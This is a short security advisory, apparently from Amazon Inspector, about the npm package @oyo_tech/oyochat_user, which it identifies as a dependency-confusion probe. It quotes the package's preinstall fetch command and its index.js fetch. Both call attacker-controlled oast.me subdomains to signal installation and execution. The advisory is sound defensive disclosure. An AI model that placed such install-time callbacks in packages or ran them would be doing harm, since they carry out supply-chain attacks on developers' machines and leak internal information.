@oyo_tech/oyochat_user @100.0.0

Summary

@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)" , causing npm install to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user") on require/import, signalling that the package was actually loaded by a build. Distinct installed. and executed. subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.

Source: amazon-inspector (2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e)